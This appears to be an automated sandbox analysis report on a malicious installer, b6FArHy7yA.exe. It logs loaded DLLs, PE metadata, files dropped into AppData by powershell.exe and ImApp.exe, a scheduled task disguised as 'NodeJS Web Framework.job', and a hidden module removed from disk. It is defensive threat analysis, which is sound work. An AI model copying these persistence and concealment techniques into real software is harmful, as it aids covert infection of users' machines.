Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: wlessfp1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imutilsu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imhttpcomm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imlookexu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfttree_ix86_u_60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imwrappu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: wlessfp1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80loc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcr80.dll

Jump to behavior

Source: b6FArHy7yA.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: b6FArHy7yA.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: b6FArHy7yA.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: b6FArHy7yA.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: b6FArHy7yA.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: b6FArHy7yA.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: b6FArHy7yA.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: b6FArHy7yA.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msvcr80.i386.pdb source: ImApp.exe, 00000007.00000003.3524271497.000000000BC01000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\IncrediABU.pdb@ source: ImApp.exe, 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmp, ImApp.exe, 00000008.00000002.3741932960.00000000020F1000.00000002.00000001.01000000.0000001C.sdmp, ImApp.exe, 0000000C.00000002.4140052037.0000000002101000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImDbU.pdb source: ImApp.exe, 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmp, ImApp.exe, 00000008.00000002.3757156194.000000001000C000.00000002.00000001.01000000.0000001B.sdmp, ImApp.exe, 0000000B.00000002.3973652961.000000001000C000.00000002.00000001.01000000.0000001B.sdmp, ImApp.exe, 0000000C.00000002.4151589785.000000001000C000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000005.00000002.4571654074.0000000007502000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb source: b6FArHy7yA.exe
Source:	Binary string: Q:\bin\ReleaseUnicode\ImWrappU.pdb source: ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3546758748.000000006714B000.00000002.00000001.01000000.00000015.sdmp, ImApp.exe, 00000008.00000002.3757699473.000000006714B000.00000002.00000001.01000000.00000023.sdmp, ImApp.exe, 0000000B.00000002.3974195630.000000006714B000.00000002.00000001.01000000.00000023.sdmp, ImApp.exe, 0000000C.00000002.4151973295.000000006714B000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImLookExU.pdbx source: ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3547163300.0000000067B08000.00000002.00000001.01000000.00000014.sdmp, ImApp.exe, 00000008.00000002.3758634364.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000B.00000002.3975156581.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000C.00000002.4152378089.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImLookExU.dll.7.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb@E source: b6FArHy7yA.exe
Source:	Binary string: wntdll.pdbUGP source: ImApp.exe, 00000007.00000002.3545675528.000000000B4F3000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3545801729.000000000B850000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755861052.000000000B449000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3754716176.000000000AD37000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755288301.000000000B090000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000009.00000002.3821922187.0000000004748000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.3822446279.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3972891415.000000000ABF8000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3973165008.000000000AF50000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151108859.000000000AD54000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151287387.000000000B0B0000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4565308690.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4563349003.0000000004D20000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\IncrediABU.pdb source: ImApp.exe, 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmp, ImApp.exe, 00000008.00000002.3741932960.00000000020F1000.00000002.00000001.01000000.0000001C.sdmp, ImApp.exe, 0000000B.00000002.3965748566.0000000000641000.00000002.00000001.01000000.0000001C.sdmp, ImApp.exe, 0000000C.00000002.4140052037.0000000002101000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: MFC80U.i386.pdb source: ImApp.exe, 00000007.00000002.3547723010.000000006ADE1000.00000020.00000001.01000000.0000000E.sdmp, ImApp.exe, 00000008.00000002.3759159459.0000000068D91000.00000020.00000001.01000000.0000001D.sdmp, ImApp.exe, 0000000B.00000002.3975883708.000000006CA01000.00000020.00000001.01000000.0000001D.sdmp, ImApp.exe, 0000000C.00000002.4152797541.000000006CA01000.00000020.00000001.01000000.0000001D.sdmp
Source:	Binary string: wntdll.pdb source: ImApp.exe, 00000007.00000002.3545675528.000000000B4F3000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3545801729.000000000B850000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755861052.000000000B449000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3754716176.000000000AD37000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755288301.000000000B090000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000009.00000002.3821922187.0000000004748000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.3822446279.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3972891415.000000000ABF8000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3973165008.000000000AF50000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151108859.000000000AD54000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151287387.000000000B0B0000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4565308690.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4563349003.0000000004D20000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImUtilsU.pdb source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImAppU.pdb source: ImApp.exe, 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmp, ImApp.exe, 00000007.00000000.3332608140.0000000000422000.00000002.00000001.01000000.00000009.sdmp, ImApp.exe, 00000008.00000000.3526042681.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 00000008.00000002.3741181670.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000B.00000000.3777136113.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000B.00000002.3965535371.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000C.00000002.4139253313.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000C.00000000.3777977779.0000000000422000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\IncrediABU.pdb@e source: ImApp.exe, 0000000B.00000002.3965748566.0000000000641000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImLookU.pdb source: ImApp.exe, 00000007.00000002.3547472119.0000000067B90000.00000002.00000001.01000000.0000000B.sdmp, ImApp.exe, 00000007.00000003.3520665908.000000000BC01000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758939495.0000000067B90000.00000002.00000001.01000000.00000019.sdmp, ImApp.exe, 0000000B.00000002.3975561628.0000000067B90000.00000002.00000001.01000000.00000019.sdmp, ImApp.exe, 0000000C.00000002.4152510462.0000000067B90000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: i:\Infra\Communication\bin\release\IMHttpComm.pdb source: ImApp.exe, 00000007.00000002.3532427610.0000000003285000.00000002.00000001.01000000.00000013.sdmp, ImApp.exe, 00000008.00000002.3745746920.0000000003285000.00000002.00000001.01000000.00000021.sdmp, ImApp.exe, 0000000B.00000002.3966007675.0000000000785000.00000002.00000001.01000000.00000021.sdmp, ImApp.exe, 0000000C.00000002.4146076693.0000000003275000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImNtUtilU.pdbD0 source: ImApp.exe, 00000007.00000002.3547632924.0000000067F7E000.00000002.00000001.01000000.0000000C.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3759078226.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000B.00000002.3975753172.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000C.00000002.4152670173.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImNtUtilU.dll.5.dr
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.4571654074.0000000007502000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImLookExU.pdb source: ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3547163300.0000000067B08000.00000002.00000001.01000000.00000014.sdmp, ImApp.exe, 00000008.00000002.3758634364.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000B.00000002.3975156581.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000C.00000002.4152378089.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImLookExU.dll.7.dr
Source:	Binary string: Q:\bin\ReleaseUnicode\ImNtUtilU.pdb source: ImApp.exe, 00000007.00000002.3547632924.0000000067F7E000.00000002.00000001.01000000.0000000C.sdmp, ImApp.exe, 00000007.00000003.3520698423.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3759078226.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000B.00000002.3975753172.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImApp.exe, 0000000C.00000002.4152670173.0000000067F7E000.00000002.00000001.01000000.0000001A.sdmp, ImNtUtilU.dll.5.dr

Source: b6FArHy7yA.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: b6FArHy7yA.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: b6FArHy7yA.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: b6FArHy7yA.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: b6FArHy7yA.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_004021F0 #810,#1323,LoadLibraryW,GetProcAddress,_getpid,OpenProcess,CloseHandle,FreeLibrary,

7_2_004021F0

Source: initial sample

Static PE information: section where entry point is pointing to: ./Ly

Source: b6FArHy7yA.exe	Static PE information: section name: .wixburn
Source: ImUtilsU.dll.5.dr	Static PE information: section name: ve_share
Source: SftTree_IX86_U_60.dll.5.dr	Static PE information: section name: .e&'
Source: SftTree_IX86_U_60.dll.5.dr	Static PE information: section name: .U[x
Source: SftTree_IX86_U_60.dll.5.dr	Static PE information: section name: ./Ly
Source: sqlite3.dll.5.dr	Static PE information: section name: .stab
Source: sqlite3.dll.5.dr	Static PE information: section name: .stabstr
Source: SftTree_IX86_U_60.dll.7.dr	Static PE information: section name: .e&'
Source: SftTree_IX86_U_60.dll.7.dr	Static PE information: section name: .U[x
Source: SftTree_IX86_U_60.dll.7.dr	Static PE information: section name: ./Ly
Source: sqlite3.dll.7.dr	Static PE information: section name: .stab
Source: sqlite3.dll.7.dr	Static PE information: section name: .stabstr
Source: ImUtilsU.dll.7.dr	Static PE information: section name: ve_share
Source: vamfxsepn.9.dr	Static PE information: section name: .symtab
Source: vamfxsepn.9.dr	Static PE information: section name: aukkn

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE023 push 80007746h; iretd	0_3_006BE028
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006BE0B3 push 80007D57h; iretd	0_3_006BE0B8
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006C5DF9 pushad ; retn 006Bh	0_3_006C5DFA
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006C5DF9 pushad ; retn 006Bh	0_3_006C5DFA
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006C5DF9 pushad ; retn 006Bh	0_3_006C5DFA
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006C5DF9 pushad ; retn 006Bh	0_3_006C5DFA
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006C5DF9 pushad ; retn 006Bh	0_3_006C5DFA
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006C5DF9 pushad ; retn 006Bh	0_3_006C5DFA
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Code function: 0_3_006C5DF9 pushad ; retn 006Bh	0_3_006C5DFA

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\wlessfp1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImUtilsU.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\SftTree_IX86_U_60.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\vamfxsepn	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImDbU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImWrappU.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImNtUtilU.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImWrappU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\wlessfp1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImLookU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\SftTree_IX86_U_60.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\mfc80u.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcr80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImUtilsU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookExU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\IMHttpComm.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcr80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcp80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImABU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImNtUtilU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImDbU.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcp80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	File created: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImLookExU.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\mfc80u.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Local\Temp\vamfxsepn

Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Windows\Tasks\NodeJS Web Framework.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\VAMFXSEPN

